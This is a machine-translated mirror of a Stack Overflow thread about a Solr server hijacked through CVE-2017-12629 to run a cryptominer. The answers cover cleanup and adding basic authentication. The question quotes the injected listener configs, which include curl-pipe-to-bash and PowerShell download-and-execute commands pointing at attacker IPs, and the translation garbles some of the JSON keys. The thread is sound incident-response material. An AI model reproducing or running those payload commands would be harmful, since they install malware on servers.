security - 解决方案异常 : Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process

标签 security solr

史前史:

  1. 我 friend 的网站开始运行缓慢。
  2. 本网站使用 docker
  3. htop 告诉我,进程 /var/tmp/sustes 与用户 8983 加载的所有内核均已 100% 加载。试图找出什么是 sustes,但 Google 没有帮助,但是 8983 告诉 Solr 容器中的问题。
  4. 尝试从 v6. 更新 Solr?到 7.4 并收到消息:

    o.a.s.c.SolrCore 关闭时出错 ... Caused by: org.apache.solr.common.SolrException: 错误加载类 'solr.RunExecutableListener'

    回滚到 v6.6.4(作为 docker-hub 上唯一可用的 v6 https://hub.docker.com/_/solr/),因为站点应该继续工作。

  5. Docker 的日志中我发现:

    [x:default] o.a.s.c.S.SolrConfigHandler 成功执行配置命令并持久化到文件系统 [{"update-listener":{ “执行”:“嘘”, “名称”:“newlistener-02”, “参数”:[ -“C”, “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, "dir":"/bin/"}}]

  6. 所以在 http://192.99.142.226:8220/mr.sh我们可以找到安装加密矿工的恶意软件代码(加密矿工配置:http://192.99.142.226:8220/wt.conf)。

  7. 使用链接 http://example.com:8983/solr/YOUR_CORE_NAME/config我们可以找到完整的配置,但现在我们只需要 listener 部分:

    “监听器”:[{ “事件”:“新搜索器”, “类”:“solr.QuerySenderListener”, “查询”:[]}, { “事件”:“第一搜索者”, “类”:“solr.QuerySenderListener”, “查询”:[]}, { “执行”:“嘘”, “名称”:“newlistener-02”, “参数”:[“-c”, “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, “目录”:“/bin/”}, { “执行”:“嘘”, “名称”:“newlistener-25”, “参数”:[“-c”, “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, “目录”:“/bin/”}, { "exe":"cmd.exe", “名称”:“newlistener-00”, “参数”:[“/c”, "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.99.142.248:8220/1.ps1')"], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, "dir":"cmd.exe"}],

  8. 由于我们在 solrconfig.xml 中没有这样的设置,我在 /opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json 中找到了它们(这个文件的设置可以在http://example.com:8983/solr/YOUR_CORE_NAME/config/overlay找到

最佳答案

修复:

  1. 清理 configoverlay.json,或简单地删除此文件(rm/opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json ).

  2. 重启 Solr(如何启动\停止 - https://lucene.apache.org/solr/guide/6_6/running-solr.html#RunningSolr-StarttheServer)或重启 docker 容器。


据我所知,由于CVE-2017-12629,这种攻击是可能的:

  1. 如何使用 CVE-2017-12629 攻击 Apache Solr - https://spz.io/2018/01/26/attack-apache-solr-using-cve-2017-12629/

  2. CVE-2017-12629:从 Solr 中删除 RunExecutableListener - https://issues.apache.org/jira/browse/SOLR-11482?attachmentOrder=asc

... 并在 v5.5.5、6.6.2+、7.1+ 中修复

这是由于免费提供 http://example.com:8983对于任何人,所以尽管这个漏洞是固定的,让...


  1. http://example.com:8983 添加保护

    基于 https://lucene.apache.org/solr/guide/6_6/basic-authentication-plugin.html#basic-authentication-plugin

    创建 security.json 使用:

    { “验证”:{ “blockUnknown”:真实的, “类”:“solr.BasicAuthPlugin”, “凭证”:{“solr”:“IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c="} }, “授权”:{ “类”:“solr.RuleBasedAuthorizationPlugin”, “权限”:[{“名称”:“安全编辑”, “角色”:“管理员”}], “用户角色”:{“solr”:“管理员”} }}

    此文件必须放在 /opt/solr/server/solr/(即 solr.xml 旁边)

    由于 Solr 有自己的哈希检查器(作为 sha256(password+salt) 哈希),这里不能使用典型的解决方案。我发现生成哈希的最简单方法是从此处下载 jar 文件 http://www.planetcobalt.net/sdb/solr_password_hash.shtml (在文章末尾)并将其作为 java -jar SolrPasswordHash.jar NewPassword 运行。

因为我使用docker-compose,所以我只是像这样构建Solr:

# project/dockerfiles/solr/Dockerfile
FROM solr:7.4
ADD security.json /opt/solr/server/solr/

# project/sources/docker-compose.yml (just Solr part)
solr:
  build: ./dockerfiles/solr/
  container_name: solr-container

  # Check if 'default' core is created. If not, then create it.
  entrypoint:
    - docker-entrypoint.sh
    - solr-precreate
    - default

  # Access to web interface from host to container, i.e 127.0.0.1:8983
  ports:
    - "8983:8983"
  volumes:
  - ./dockerfiles/solr/default:/opt/solr/server/solr/mycores/default  # configs
  - ../data/solr/default/data:/opt/solr/server/solr/mycores/default/data  # indexes

关于security - 解决方案异常 : Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51982703/

相关文章:

php - 我需要在 schema.xml 中编写什么才能在 Solr 中的两个或多个字段中进行搜索?

java - 在小程序中运行桌面应用程序是否更安全?

amazon-web-services - aws 如何验证使用访问 key 创建的签名?

php - 如何保护php和mySql访问以防止f?

c# - 保护基于 REST 的 WCF 服务

java - 如何使用 HAProxy 检查 Solr 是否健康

javascript - 这个奇怪的 javascript 有什么用?

date - Solr日期字段tdate与日期?

elasticsearch - 如何在cassandra上安装搜索引擎?

indexing - Solr - 如何 "group by"和 "limit"?